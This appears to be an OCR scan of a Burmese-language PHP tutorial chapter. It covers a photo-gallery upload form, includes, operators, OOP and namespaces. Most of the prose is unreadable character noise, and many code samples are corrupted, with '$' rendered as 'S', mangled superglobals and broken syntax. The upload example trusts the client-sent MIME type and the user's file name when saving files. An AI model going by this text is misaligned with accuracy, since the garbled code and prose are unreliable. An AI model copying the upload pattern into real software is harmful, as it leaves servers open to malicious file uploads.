ql: Temporary Folder o5eo 6992998:3093:000:60:900]i 088:a095:000:(8:(6603 File o? c»3269509q02660? 
3209002900 09J$60030200 Ameca 


89$002996coo05 96:050[020986Q htdocs Folder 63220990 gallery 32020 Folder 009 ma 


680003 0lll so03co03(8: gallery Folder coo photo 30603863005 Folder 0209 o»99eso0090]i 
index.php à upload.php 02096009 gallery Folder 05906 SONAS 63000560: Ol! (8:96 


index.php Y 6390050] 899002 09:05 0092996:c9 090] 


<!doctype html» 
<html> 
<head> 
<title>Photo Gallery</title> 
<style> 
body { 
background: #efefef; 
Fee family arial, 
} 
#wrap ( 
width: 900px; 
margin: 20px auto; 
padding: 20px; 
border: 6px solid #ddd; 
background: #fff; 
} 
#gallery img { 
width: 200px; 
margin: 10px; 
} 
#form { 
margin-top: 20px; 
padding: 0px; 
background: #efefef; 
border-top: 2px solid #ddd; 
} 
</style> 
</head> 
<body> 
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<div id="wrap"> 


<div id="gallery"> 
<?php 
Slist = scandir ("photo"); 
for(Si=2; Si < count($list); Satt) { 
$name = Slist[$il; 
echo "<img src-'photo/$name' width='200'>"; 
} 
?> 
</div> 


<div id="form"> 
<form action="upload.php" method="post" enctype="multipart/form-data"> 
<label for="photo">Choose a Photo</label> 
<input type="file" name="photo" id="photo"> 





<input type="submit" value-"Upload" /> 
SEE SHIPS 
«/div» 
</div> 


</body> 
</html> 


SRPA <body> 32026:90 gallery à #form s9(8:4696:0lo&olo»oóu #gallery 39026399 


scandir() Function ooo: [6: photo Folder 39070: 90$590) File 099 6:03q 02010051 scandir () 














Function o» Folder 026930026:90§03 File š Folder 26:03 Array səesà (0$60:0 Function [eëol 
ç ° O e (Q : co e e e e 

onu I [Š:coooo for () Loop ooo: |e: File 326€$320903$/256co005 səcoOcoOcooloooŠiI for () Loop 
M : r% co o ` ° ° š : e 

co go Variable $i e, 0240:09 0 oo 60606 2 oo 0000:02202 ooo2[ololii scandir () Function oo (o4 

60:03 Array e, Index 0 à 1 qo Directory Marker cog[900> . (Dot) š .. (Dot Dot) o? esoo eo) 

C 10 e ° e e e e O x ç oc e e e 

320502 393 Index 40907 00p909€:320006c90600902320900 2 AD 086:000:[9¢: (gSclos05 for () 

Loop à, 30309 Parameter goz20): (o c00:03 count () Function 060 Array Size o? 69 0205(8:(6§ 

e0:8603 Function (gSolos051 photo Folder òg File (9) 99 count ($list) Q qso 7 [sŠ 

gooli Tfl 390305 Index &9932005000:02320205 $list Array eo Index (9) 2900205 Š (9) a[gde5q, 
e e ç e e e ç ` co IN c M : 

fe: [sóoloooŠi Loop 3a09€:90 esoocgo5qeo2 Statements saegg VMA eş o? File Name 

Ba905;(0/(8: <img> Element à src Attribute s96g8 $05090596:000:02 səogo5 photo Folder o3eo 

° : ° ` ç ç eoo < IN e e e 

Qg File cozo? Image egg tgallery 3209€:90 054:$$0909 0960:250: eo[s90lo» ou 20900: 

(maes photo Folder òg File 60268600: c9 0009609 98:90 80705019931 

#form 39026399609? File Input o690loéo3 HTML Form 0099026:000:010005 1 action 9o 


upload.php ca 60:009:03320305 Form o? Submit asaos ceg:a|oScoo:oy File o? upload.php 
c @0:8090:@00l upload. php File cóço e322030ls 9400? 092090099026:60:0l 
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«?php 
$name = $ FILES|"photo™] |"mame™] > 
Stmp = $ FILES["photo"]["tmp name"]; 
Stype = $ FILES["photo"] ["type"]; 
if ($type == "image/jpeg" || Stype == "image/png" || Stype == "image/gif") { 





move uploaded file ($tmp, "photo/$name") ; 
} 


header ("location: index.php"); 
Des 





$name, $tmp, $type Variable qp:oóo? $ FILES Superglobal go Ses(8(8$03. 60:9c020? File 
` : > ° o e IN o € IN e IN e o ` 
$ Name, Temporary Location š Type 030) 0099996:000:c9030lo» 03i 6800302080690 G0:000002 
File ooo JPEG, PNG, GIF Image 02099 0203950003809 move uploaded file() Function c? 
° ° > co > : ° IN OC. x `O 
3905;(0)(8: Temporary Folder codgoespad4eg0) File ga 32ep5320?C:0 upload Folder oda) 
e(006:eg 600805 oloooŠi move uploaded file() 320309 ocoe Parameter seg Upload File 4 
Temporary Location Beo:9 (8: 303800 Parameter 32653 e(906:eg es qoqjooo:c3 0? Location 0260: 
IN c € IN c IN : ° ° i ° ç o <Ç 
[BS:[sëoloooSiu egomonósocgo header () Function 3905:{0(8: index.php o? [o$030:600$0501 
cooSi ə8|šeo Browser URL Bar eo http://localhost/gallery/ ca goce: 06:00686(8 [ešoloooŠi 


Choose a Photo aĝo) Label ¿020060596503 File Input o»es Image File 006903 eg:ajo5 so:(8: 
Upload Button o? 8Sc8o5o208a8q upload.php Script JPR eqoad§oz0:(8: upload.php o» 
c ` : o M e o c c jl ç o É 
6$:8/02000:02 File o? photo Folder peo: angles ooo Image o? photo Folder cooo eg, 
copo [$:e3005 index.php o? Redirect asoan] index.php 9909 photo Folder càooocoo 


B woSopee3[Ge0:8 eq:aoo:ooo:(8: (sé ó (fe) y ee2[ocoo: oocoqcošsoo q§eoq0d[gdoloo05 





«", Photo Gallery - Mozilla Firefox 
| [E] Photo Gallery Lee 
4 localhost/gallery/index.php CD A SA 








Choose a Photo Browse... || Upload 





9 (G-) Photo Gallery Example 


32909 3905:(0}990060:8.c0003 səa|o5səcooocooš File 60238686 [osos PHP səc[əŠ 3260056co: q 
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ogox(8 [eëoloooSi PHP à 2225:0602 63005009 efs c996s0o6q[0502$9(590? File Include o? s005 
ccocoo[o2oleoŠii 


6.16 - Server-side Include 
JavaScript File cog CSS File 603203 HTML Document 32026:908|0980020009296:&6000 Sears: 


c ç o Cc ç M : o o ° IN c oo 
[ešoloooŠi ajo2soo5coo:oo JavaScript cog CSS eog Browser oo a]obsoocoo:c|oooc:o58) 
ç ° C x ° ore € ç o c ç ç e € e 
39030) 0932002 Request cop Server ode0:8(8: 90660022009 sonscomseaoré go9e0:apo: [e C: dol 
€ e coc e Ç e ç O . c c ç CAN 
onu Il 03:30: [96 q[o980059 coOc$4:oóoo CSS Goo JavaScript 6020068006 galas: 909020 


Client (5903 Browser oo esoo6 goco: oy: fe: (ssolor 1 


PHP File Include c9óesooéqjo$0?seos:(gj[8:e02cop9: File cogo 02998029 94|o3«003009$256: 
oc ç x° 90 € CN o S.A Q Ç S ° o Ç OC A 
co:àColoooŠI 230020003381 o$38002090c8:090? PHP Code o9050?6000 Server ol go 
° 


< < ç o : o T ° jl € * o < < o 
6809690993903 000 eò Server-side Include coeə eco Aoo own File coo qooa|jo5šsoo5co:šc 
o> PHP Function eœ: gj: folo 3331602026002 - 


include () 
require () 
include once () 
require once () 





- 030(gd0lo051 NA Script odos config.php co 39@5G0:000:03 salen: Script File 0069 


$jo$eo03c9q6- 

include ("config.php"); 
(9960905) 

require ("config.php"); 
(9960903) 

include once ("config.php"); 
(9960905) 


require once ("config.php"); 
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§000962$952006: 30009036: ¿color 1 config.php ešspp9oooo File Path op 0009996:60: 
Sgooli include() à require() 02000 səc[eŠ coÓcesooCosəcoooololl co: [so:aJo5oocoogi 
include() Function o: 6: ajo5soo59C: o File o? a2e(0206:39 4]: |l: e(0208 eqjo9soo386q6 
Warning co:e0eo? s009c00? e«:20:000:0203$ Code 60909 soma csooCgoogo:OoloooŠ1I 
require () 026002 $0300386:02 File o? eq S003 86 q6 Error co: Š: Script o? qjo3(86: QRS 


eo (880lo»o5u 


mag Script coo o»9[0364o$«o03coo:[6: 690? File 029909 338 Script DÒ esoo5ooe[o38 code 
$jo$eo0058q6 PHP o» Error aos efod gooi 3(G.000 00302002058 include once() à 
require once () 030305:86clos05 250200 4[09800396:02 File 0? ájo5soo5coo: [Ë:o5o: coo: es 
odeon 4jo$e005e000:q60:9200 File o?4jo5so09eo:eo(89(6:!  4jo$eo05coo:(8:(89 6$ ys 
egoo?oo$[o98o00edjo9eoooc9 Error copo:e(s660020log:! 3leoeo? $6:esooóqpo(86 0300205596 
con include once() à require once() RR egpéscolor an 9903.00 eqjo?sc 32 6090968 
03320909 səcoOQcoOqoloooŠiI 3333200: include () 300705 require () RÒ G6$:220:9500 9$ 
eao»6aoo»:[9|o»€olo»o*i 


6.17 - Operators 
Operator, Keyword š Control Structure eogaee(o356: aeog:e[00$ec932060020log:! 3994: (ç) yo 
609000803 JavaScript š 320:09:$:0l:e06 050loo 03i oo: (So: [09602 6coo030?eg: qjo5 Q03900:000: q6« 


(Ôn 


Operator 6020990 o:(8:3109326$ 30026 903220: q990060»? . (Dot) Operator (gSolos05 PHP go 
° IN CO ° IN . ç ç Ox ç 
Dot Operator o? 926(0226:609005825:0lo» ou JavaScript 9o + Operator 02690295:070 oc04:609 
colé:Q esp! 926[0206:6025005 8ols»o5:(9j3(o20lo» o5 PHP çocoo9 + Operator o? 0a04:60960l6:8 
c . [Q IN co o ° € 
320205900 0):[6: o0@[0306:60780038 Dot Operator o? seo»: [o| qoloooŠi goeo - 


Simg = "<img src-"' . sname a '">'; 


926[0226:49c(n226:32c00390 Variable ocop506:(8: Dot Operator à o38005030:60(86:(gd0lo2051 

Java Script go += Operator o? 0a0$:60260l6:009986qo 906[0256:60203«00383205050| o5: qlo 
o e ^ e IN C O ° IN 

PHP oeo% . = Operator o? eoc[o2oC: coo 03300009090: 805: 901001 2069 - 


Smsg = "Welcome to my website."; 
$msg .= "You see this because "; 
Smsg .= "you are an authenticated user."; 


Professional Web Developer - səəŠ: (8) PHP Basic Jo 





= de id Mono OME 0009996:090202006090? $msg Variable o3009c50040:09 3200:09:6290:60020 
680090068 03«00960:290:9o[s$0lo»o5i 


Comparison Operator Seal o? 02§8:60286:09503 Operator cops: JavaScript §390:05:3902020101 
PHP eo Not Equal-To 390309 Operator 026900503: 000(86:99909:(90:0100051 Not Equal-To 390305 

: ° OQ + Q ° ° e ° oc e c 
JavaScript eo != Operator MRO <> Operator NOA: aoo»: [o ¿culos gageo 
eq olog:u 3209005093202 050l0 1 SEDO Operator Ra: [o|&ColoooŠi 


Logical Operator eso? AND (88), OR (11), NOT (!) ops: JavaScript salò 
oo: [so:ogo:ooooo AND à OR 03390305 and, or B03 Keyword §cop5: səo3:[o ac [e é:[sëcoloooSi 
2069 - 


if($x == $y && $x == 5) 

(0800703) 
(ee == s ng == 5) 

§90009E29H8 oq 2000286 olor OR 220209cop3: 32coo:020l - 
iele hy rens 


(0800705) 
f($x == Sy or $x == 5) 


G 90009908 es: ooo:&éolo»oóu 


Sa Comment Code c Sa9é:8aa0208 oo9e[0206:0009:s9€6 // Operator o303:86(8: 5 
905qJo5 n I GOR OPOR: 0300 MAR C3090 QC p 20: 9C|Ó: 000 
ç QC OQ s ç ç ° x Cs x ç 
c|O9oc:coo 00290258|026090? / BSS A 3902C: 90 


ego: R olon slas: JavaScript ¿so2o90lÓ 1 
1 37] BE ex e? E pt $ 


iL iL 


co: [ezgo aes e qn osef 0226:00 5:33.96 // 3200: + Operator ANA: so $ culona 


PHP 7 a D Operator ( <=> ) s. pog o lor CIO 8 eaor fon) 
O o 


GO; eo 048: 40903 qe: :099/6: dal 0, 2058 8: (08: 03:96 Í: š 6§20502§8 8: (08: 03:96 - =1 0? (9 ? (0460: 201 


001 Ruby Programming Language o? GAJO: CORO) 3 Operator š š gc: 6:8:8 ¿colon SENO: 
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REOR 3209096009 § 252 05:00200§:860los05 poe? x 


echo 5 «2» 5; # => 0 
echo 6 <=> 5; # => 1 
echo 5 <=> 6; + => -1 


0009096 :90 545 096502320905 0 o? (9860: eo»(s$olo»ou q0905c96:906002 eq0»48: 60m Gšoo 

048: 3 ooo3(o3: c9 008 30(96 1 o [ošeo:eo [ešoloooŠi con: ac @§20300§8:00 (3:03 
390309 -1 03 qco33e(s8 (p$60:929 [eëoloooSi Š Operator ooo PHP 7 epose ocoColoCcooooo [86 
co PHP 5 Version co2ço 3209009090 eopo30log: v 


68005000 o»o9[o|oo$0? Operator meo null coalescing operator [8ëoloooŠi JavaScript 4, Default 


iS 


Operator à 32090090 $ soc[6: Question Mark 50902 (2?) eq: qolo»ou 206d - 





Suser = $ GET['user'] ?? 'nobody' 





s ° x ÇO O C2 [8 ° C ° < ° ° ° 
$ GET['user'] a0}02§$G:4)9¢ a:f: eg9¿ nobody o Default s [e° 3200:00: O01GO:G@ 69000: 
coo: (sc: [ešoloooši 3 Operator NINA: PHP 7 y oloécooo? Operator 32009 (898: PHP 5 Version 


Gesie] 3209009090 ouo olog: II 


6.18 - Keywords 

PHP qo Variable 60303 Dollar Sign à060:$02320909 Build-in Keyword copà 326090568 $ 
(922280 (s890|:09 Qospec?cooolo: t poso if ooo Language Keyword (S9 e0eo? ag|$eo2302 
om $if 38.03 Variable o? aoo»: (903200205 ooo[po2»4o9$92e09050lop: v 3lsoeo Function Goo 
e(c2[£22205905033»9l geo Keyword eop& 3»ep505«62205905c9992e05030los: PHP Keyword 
09:08 eel geo:cdoSolooo5i 


_ halt compiler, abstract, and, array, as, break, callable, case, catch, 
class, clone, const, continue, declare, default, die, do, echo, else, 
elseif, empty, enddeclare, endfor, endforeach, endif, endswitch, 
endwhile, eval, exit, extends, final, for, foreach, function, global, 
goto, if, implements, include, include once, instanceof, insteadof, 
interface, isset, list, namespace, new, or, print, private, protected, 
public, require, require once, return, static, switch, throw, trait, try, 
unset, use, var, while, xor 
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6.19 - Control Structure 

PHP o Function cog 9005905e(03[G28sa02050095: function Keyword Bd səo>:[o|e[oo[cogol 
on JavaScript &s90p090l01 Dynamic Type (e508 Return Type eo2922603 desu: [96 2003903 
co:@ecoolog: t 200 - 


function add($a, $b) { 
return $a + $b; 


} 


add () eslo) Function 0269 efkes: fes: sa š $b o) Parameter ¢69 olocolooohu 


add() Function o» $a à $b o? eolé:(8: return (o$eo:eo(s9olo»ou Function Parameter 602 


coc ;| 


990590503081 Default Value o? o»9elooos: e(oX(£022059 05860 ovos 200 - 


function add($a, Sb = 0) í 
return $a + $b; 


} 


$293 Function Parameter $b 390309 0 o? Default Value sos o003903eo:ooo:(s6: [ešoloooŠi 
slefaxg Function o? esl unos Sb 390205 02$0:660:3q6 0 o? Sb 390309 048:32[90 3905;(0)(8: 
32099090 6020392906 (890lo»o5u 


PHP 7 oco»? Scalar Type Deceleration à Return Type Declaration 20) (039053103499 oloécoo 
olo»oóu səƏglo5oo Function Parameter 602390205 Data Type MIÍDNAN 0o 


° IN ç e Oo e coc ^ IN ç 
Return Type mp: 02&25020900 MIDNICYOÓ (gSclos05 206d - 


function add (mint Sa, Int Sb): Int í 
return Sa + $b; 


} 


§@g030q Parameter cogof int $ag int $b c9 efax{Gocos:03a00205 add () Function o? calozo> 
309] Integer (34: [099) 60502900 OSCR [ešoloooSi Səcoo:ooO Function o[oo[Soajo5eo : int 
20) o003903qJo3$copà: oloéc? $ Function oo return (0960:03 00§G:0200095: Integer 6 [SŠqecooso 
dolos PHP 7 oo Function ecge(e»(»o3ssl 330036: egege c[Socoo eopo30lop: v S30090: 
Data Type o§90003(8: codo es: $6ooo03c9 elgaonoln int 302: float (32226088: ), String 
(eo) š Array RANA: Data Type sos aeos: (o|$6olooo5u 
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Function 6026q220:02329leo Variable Scope o? ooo9(gjqoleo$u PHP UNA: afv: Language 
coəc9Ó Function 39070: Q2 e(oX(£22205903(8: 300): [p|ooo:o? Variable sogooo Local Variable cop 
cere ç oc : ` ç oc IN : > £ : 
(a6: wmc Function ¿000 9005e860lo0051 Function à[ocoš ə so: Function qp:ooso» 
2 occ ° : e IN IN ere ° > . 
so g feio olog: Function s [06020390 a(on{go0005¢05/8: 3905:(G|000:03 Variable co2oocooo 
Global Variable cop [90(8: e Function neo 20 (ogcoloSn co: [eo:a|o5oocooo 
Global Variable o? qo3e2»:[o|eo»2e 03896 aeos: (ojeo(s$e(o206: global Keyword à Function 
39026399 e(oX(£eo:«(s6:9(8$0lo»o5 200 - 


Sstr = "Myanmar"; 
function say hello() (| 
echo: "Hello s sm 


} 
say_hello(); t => Bello 


function say welcome () { 
global $str; 
echo "Welcome to $str"; 


) 





say welcome (); # => Welcome to Myanmar 


say welcome () Function 39026200 global $str 8.020029 Sstr 390956) Global Variable 0209 

e(o2(£02205903(86:605030lop: v Global Variable (S993 $str o? qg: oleosa elo[co(sé: 
c < 

(S90lo»o5u 


PHP gp: JavaScript c2 Nameless Function co 2009: [o ¿colors 004: (9) y» Nameless 

: ` ° x(e c IN IN ç O ° 
Function 6038), 2562209590009 eco coo3(8: [ešoloooši PHP y səcoo2:o2 eq f: eqs səo5: [o| 
&ColoooŠi 200 - 


function add(sa, Sb, Stn) 4 
echo $a + $b; 
$fn(); 

} 


add(24, 13, function() { 
echo “Done adding 24 and 13”; 
)); 


$9§030q add() Function o? eslopooeo 090 Parameter so (so Nameless Function 029909 
Callback 32684 3209009060:8 0op9996:60:c903(86:0 (S9olo»o5u 
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if, switch, for, while, do-while 390903 aef Control Structure G026q:220:3295:(9| ó 
$o PHP à JavaScript o? 32093203102 090lo»03 co: [so:a|o5oocooo Code Block cooo oggi: gp: 
3200: Template eq:220:086q:200:$6[S6:(890looo3i ooeo - 


if(Sauth) í 
// do something 
} 


(0800703) 


Tt (Sauth): 
// do something 
endif; 


02902C:399É 3200: Colon (:) 3905;(01(8: 02$026:320033200: if 390205 endif, switch 390305 

endswitch, for 390309 endfor, while 390305 endwhile ofeg so $c[sc: (solo 1 

029026: 60200 PHP Code 000300096q: 220: 990 (9222402366Q$60609 PHP Code cooo HTML cop 

§oqpeq:000:033081 Aesop [eŠcoooooSoloooŠi epaod: [so:a|o5oocooo foreach () Loop 
e ç ° co e ° e 

dolos Array 6020) Loop QOQ 3905:(0|0lo005 goeo - 


Sarr = array("foo" => "Apple", "bar" => "Orange", "fiz" => "Mango"); 
foreach (Sarr as $key => Sval) { 
echo "Sval is pkey., 


) 


ole SLE a. 
# => Orange is bar. 
# => Mango is fiz. 


Sarr esepeo Loop aeoo) Array o?2eo:qeo[(s$olo»ou Skey Variable 009) coms§isacndandeg 
o? Index $e»(s9(8: $va1 Variable o59260»? cond§sacnSdanSeg03 Value Qeseo(s? oloooSi $key š 
$val 3200: ¿90m Variable səəə5šsəeo:c0:səo3: [o &ColoooSi as Keyword š => Operator 0303 
000 $RP eo3(9000:0232096: e$«09$6302625:60:q6 qol 
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6.20 - Object-oriented Programming in PHP 
PHP ooo Language sae[9ds09 Imperative Language o»99 [6960609 OOP 9écop3:es:$6olooo*i 
Class cooo class Keyword o>: Š: 229900000 csmmácolo i 


class Animal ( 
var Slegs, $wings; 


# constructor 

function _ construct($legs, Swings) { 
Sthis->legs = $legs; 
Sthis->wings = Swings; 


} 


function walk() { 
# do something 
} 


static function info() { 
return "An Animal"; 
} 
private function calcSpeed() { 
# do something 
} 
} 


. construct () Function o? Constructor Method e(o2(£222059058320205 25:qolo»o$u PHP OOP 
go o9:(g0:22059036000:q6 Property cog Method 609320:c9:6, Access Control Modifier o» Public 
(95 olooo5u $H info() Method 026009 static ca 9905905000:03 390305 Class Name mes 
ooo qo? colona: fog 6 eo(s9olo» ou calcSpeed() Method o? con private 089905905000: 
c8 Object o» oosoGeslopsoo»:[0|$690e05030lop:t eeS[ocoo:o5 Class 09 sefe: Object cosa 
c9oop3esooo? ¿colon 


Sunicorn = new Animal (4, 2); 

echo $unicorn-»legs; # 
echo Animal::info(); # 
echo Sunicorn->calcSpeed () ; # 


> 4 
> "An Animal" 
> Fatal error: Call to private method ... 


Object 02936300030320209 ao(go: OOP Language cogo Ò new Keyword o? 3905:(0|q0lo>051 
(Object Operator) -> a:f: Object à Property coz Method cooo qloosəo3:aJ8ColoooŠ!i Java, 
JavaScript oo) OOP Language coəçoeoo9 Dot Operator (.) o? Property coz Method coo cə[oo@ 
səo>:[o|ecog[o3oloooŠi PHP çoçooo (Object Operator) -> o? səob:[o|e[ec:[eóoloooši Class 
Method info () o9 Class Name ooešoəósoç gqopsəo5:a|8səoəoo5 (Scope Resolution Operator) : : 
o? aeos: fo qol calcSpeed() Private Method o? eal ud [Logicon coloracogo PHP 
on Error s [e° ce[oco:opoo:oo[eeoloooSi 
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ooc jl 


OOP à sa@[900602099920 (9) q oo RRR 
Polymorphism š Interface o2o[eóoloooŠi 90005093264 338 OOP cesó 99609900920060208 ° 
8ea0:09:8896 Rockstar Developer à 3258: (2) 9» ecocoo8ColoooSi eş peo OOP aoc[s8 23 
° IN IN x° e c o ° oc Q IN o c c e 
(8:95 0033902031 PHP owp: 333 OOP so5:osëcoooo 3905;(0|86e[ax06: codes: [ešoloooši 


ousi Object, Inheritance, Information Hiding, 


20093799 YIDMA PHP oo Class cogo: |Â: Object Cog proc! Private, 
Public, Static oo03 Access Control Modifier coo): |Â: Information Hiding asean 91039986] 
coo Inheritance 390305 extends Keyword o: (6: Class Inherit opdes006 qjo502 agácolo a 
2069 - 


class Dog extends Animal 


{ 


# define methods and properties 


} 


$H Dog Class ooo Animal Class o? Inherit coócooo[ec:[eëoloooši PHP eo Multiple 
Inheritance o? acelojoloz:1 Static Polymorphism cpdes00€6 9105390205 98000303 Function 
Overload cpdes00€6 9105609) PHP 9o eolo&olop: u PHP eo Function 029909 e(oX(£22205903(8: as 

š . cr. enc c crog IN : Co ° 
Function Signature oap feco ecooosoc[sóco @§205006[036 (sgəep5oo Function) codo mico ° 
Qeon: aleveWS func num args () š func_get_arg() Function cogo: |Â: Static 
Polymorphism coÓOesooCajo5oo o?o&6olooo3i 2060 - 


function rectangle() { 

$len = func num args(); 

if($len == 1) { 
Swidth = func get arg(0); 
return $width * Swidth; 

J 

if($len == 2) { 
Swidth = func get_arg(0); 
Sheight = func get_arg(1); 
return $width * Sheight; 


: e Q C * IN ere, o o 
$9 40306) rectangle () Function ooo eal woseo:ch0503 Parameters 396930020560] gops: Qo 
ceo c c c € : c IN IN IN ç : c 
eql: səcoOcoOco:eo[oócloooi Function Overload coóesoocajoSeoloCeoeo2 Function 009 

ç ° > . . T IN c c o : c e ç O 
o0: a: [à Function Signature GO ROINN: 999 Polymorphism C9O0cso»cq|o»o»? 
0.» c | IN : : c e e OO IN ° ie o | 
q956:9(s90 ODOOII Dynamic Polymorphism CO0OGSO0C 8|026]$&32O29O2GO09 Interface Alo gto 
IN 
ODOOll 
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Interface oo$ee(oo[co83»090$ interface Keyword o?o5:qolooow c[o2[Socoo:o> Interface o? 
° x ç co Ç ° ° <ç 
aoe(850? Class cog 0»p56800050320905 implements Keyword o? seos:(ojolo»oóu 


interface iInputBox 

{ 
public function getValue(); 
public function setValue ($value); 


J 


class TextBox implements ilnputBox 
{ 
private $value; 
public function getValue() { 
return $this->value; 


} 


public function setValue ($value) { 
Sthis->value = $value; 
} 
I 


class PasswordBox implements iInputBox 
Í 
private Svalue; 
public function getValue() { 
Slen = strlen(Sthis=>value) ; 
ESO Sq Sem Sirr) { 
Suse Sis NIU 


} 


return $result; 


} 


public function setValue ($value) { 
Sthis->value = Svalue; 


) 





` 3 o ^ c o. 3 < < ` 
$999 TextBox y PasswordBox eslo) Class $690) iInputBox Interface 000003903002: 0} 
< < < oc A k ° e e e c IN IN ` 
o003909qJ0$3e096: implements aof: oooÉesooocoo:[ec:[eóoloooSi sle TextBox š 
PasswordBox NR 322: [o| (S$ eol ao} Object cogu» Object Type eon eo»S[go: cops: Interface 
c € e IN e Sos IN ç ç IN ° OC * : 
02990099:0064 32050? so6:2509coo[S6: (5902390909 s»[D$seco$ vou locos Object eoo 
(s9(02929 (s90lo»ou 





so(so: PHP OOP Features 60203 e322030lc90909o so09co09ec9coo& 60loooi 


http://php.net/manual/en/language.oop5.php 
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6.21 - Namespace 
° > IN IN e e C x c e IN c IN 
PHP 6$:00:c0200go Namespace ooocopó: W: 902200:00609 coÓGsooca|o) [ešoloooŠi 
° S.NO s e o coc Ç e € IN IN - 
Namespace o? Code coo 320996 ob:oooÉco gon colon des: [es PHP yo sopo Function 
eog Class eog e(oo(£o3»»5:(9|c3 eqolop: u 020360:0) Function 39005 Class 3202050 PHP Core 
: > Q ° <ç ` : ç o Q O IN e ° 
Function cog! Core Class eopá dela: I 0»0560:0? Function 32605 cp320c9 cop3026:320): (0) 
000:02 Third-party Library oo 300): [0000:03 Function cog! Class co2š 399990209 eqolop:u 
° ` : IN o os ° e Oo C( ^C. 
Namespace o» PHP o $6802 Function coz meo) 002R: RA (900300 c[esé: eo:cooo[ec:o 
[ešoloooŠi Qoeo - 


4 filel.php 
namespace foo í 
function add() ( 
echo "add in foo namespace"; 
) 
} 


namespace bar { 
function add() { 
echo “add in bar namespace”; 
} 
} 


# file2.php 
include (“filel.php”) ; 


foo\add(); # => add in foo namespace 
bar\add(); # => add in bar namespace 


PRPP eaan 660»? add () Function 90086 e[c: 02008 co. q0le8ge05 i Namespace 
` IN o ° Qo e s c jl IN o coc c o C 
90302320902 29% e(oX(£o3»»5: [o ac fi: ò eo o MGE Namespace e3200290s0qC Core 

Function cog Third-party Library Function e028 aav pog ccoo: (900030 egsoolo: I 


Namespace eolo$ (96000 Code cooo Global Space coes[oloooŠ!i Global Space mes NACO 

IN ° ° O x ç oc IN c IN 
Namespace 32026:00 Code 60203 celus: [oosa] oo0$«96 «p Namespace səeə5ooescoósoç 
esl'opqolo»o3i alejados 35000500 $RP foo vada () & bar vada () S9(8: colaa: (0, ooo:qoo» 
ò [eëoloooSi Namespace o2«6 com agarra qolo»o3i pues - 


# filel.php 
namespace foo í 
function add() { 
echo "add in foo namespace"; 
y 
) 
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# file2.php 
include (“filel.php”) ; 


namespace foo { 
add(); # => add in foo namespace 


) 


file2.php 32006:90 add() Function o? o2058036sl 0p3295:(9|000:0220? 602.99 [ešoloooši 0208 
o? Namespace 3202:92 $099 [eëoloooSi Namespace eog @[03[Go 2205905033»9l o9$056:602 e 
cop3d0095: es:c9qolo»oóu 200 - 


namespace foo; 
function add() { 
echo “add in foo namespace”; 


function sub() { 
echo “sub in foo namespace”; 


namespace bar; 
function add() { 
echo “add in bar namespace”; 





° ° e e IN o IN 
(8:602 Namespace o? IOG SOG CODO: GO: CO qole22:0»o5u poe? : 


# filel.php 
namespace foo\bar { 
function add() { 
echo "add in fooNbar namespace"; 
} 
} 


namespace foo\buz { 
function add() { 
echo “add in foo\buz namespace”; 
} 
} 


namespace foo { 
bartadd (); # => add in foo\bar namespace 
buz\add () ; # => add in foo\buz namespace 


} 


# file2.php 
include (“filel.php”) ; 
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fiz\buz\add() ; # => add in foo\buz namespace 


$IN eN RAE foo Namespace ò a94, Sub-Namespace (8902 bar à buz RA add () 
Function o9 wos Sub-Namespace o»e$009s0€ eslus: [f on 602.990 fedos 
Global Space gocon oe Namespace eso Sub-Namespace ol sa[(Gassegvloéeaexé eal on: 

° ° ° c IN o ° IN IN ° IN ° 
3905;(0|02003 ooo9(9|qgo (S$olo»o5u Namespace 6020) 320960000932 60960:(8: 60220099: səo>: [o| 
co aolso:000n 200 - 


# filel.php 
namespace foo\bar; 
function add() { 
echo “add in foo\bar namespace”; 


} 


# file2.php 
include (“filel.php”) ; 


use foo\bar as fb; 


fbNadd() ; # => add in foo\bar namespace 


° ° Q ° c e o cec 
8994090 foo bar Namespace o? use Keyword 3203228 fb c9 3209602009 pepeo: Noes: 
edol sle £b Nada () c9 es[oo[8Š:ooo foo\bar\add () cQ esTop(86:& 2502059 [edol 
0091 Namespace à 005000596 6$00980:3264& poa: o) 3230260200609 - 


1. namespace Keyword eaeou oden: Code 602600096 3260| 89:90 Jelon 
e e e [e] e 
2. namespace e(oX(£oc0o: y é namespace (98090 o»9[so: Code cop es:c9eqolop:u slefoxg 
32000500 Code $PC namespace [odo Global Space 9o es:qj6o? Code cooo 
namespace e(oX(£oooo:0? Edge ÀI csoo58Cooóəš §eq:036 peeo co:Əoooollii 


6.22 - Frequently Used Functions 

cosəOoysəc[eŠcoocoooq oli ssoo5ooóəš:ooo2:[Š: MySQL Database səc[o2oC:eccocoosc 8A 
coo:20603 PHP Core Function qp:o? eg:qjo5eoS(960:qj60le2:ooo5 v 3209099098600 eo»o30log:! 
na Function eog §or050205a$03 2062000? 93000:03002090 (890lo»o3i cpdc§:gEgo mañas, 


3205:q|8 902326] php.net go səoà:[o|ó 32620:8090 sə8|$ecg: (cual 20 (ogcolonSn 


explode () - 92009e(0206:02 Array elgoc:8320): (0 ¿6 olor 


$date = "2013-05-10"; 
Sarr = explode ("-", $date); T => array" ZO0LS", "Q5", "ym 
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$date Variable ÖNN Dash ( - ) 886;(603(8: Array afede: Rfi: fdo 
A o c cC O Nn ° oc e 
implode () - Array o? eoso[eóc[ooC:cooysəə] səo5:[o|àColoooŠi 


Smonths = array("Sep", "Apr", "Jun", "Nov"); 
Sstr = implode(", ", Smonths) # => "Sep, Apr, Jun, Nov" 


$months eooloC o> Index 603203 Comma+Space (, ) lê: eoooóc[oxoC:so[eŠ o3e009e0c909(86: (96 


olosi 

exit() - səc[o2oC:səQ| l: j|: [oe 0930906033000 6060000 Script o? qóc909eo 996 
° oc € i š o e e OC e e M x° O Co coc 

200) :(0| ¿colon exit () 302: die() Ro: ¿color qso lòn 33309 ONHE 


qo ASSA uean cops: copso3E:60:86olos05i 


exit (“Something wrong here”); 


IN 


file exists()- G0:c9090) Path go File 329500900038 


o c ;| IN 
eq O060GO$;O0lO20O0UII 


echo file exists ("C:\xampp\htdocs\auth\index.php") ; # => true 


file get contents () - File 029932056:900lo6 02 Content 602020050960:0lo»031 
$str = file get contents ("name.txt"); 


name . txt File oo səa|o5səcoocoo $str Variable cooo String s96§4 espo?9es e»eooli 


file() - file get contents () coo Fi Content 602030030960: dlos al 


o 
8 
o On 
-Q) 
9 
o9 
On 
C, 
O 
On 
8, 


IN c Oo . > en OC coc ` ` ç c IN 
GOOD ROVAN String BICH GOOPOIO QQC:3209029C:002:02 Array ZICH Keo: gofodol 
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Sarr = file("name.txt"); 


file put contents () - File oo990op$esoo03(8: səa|o5səcooceoocoooooéC:eo:oloooŠI 
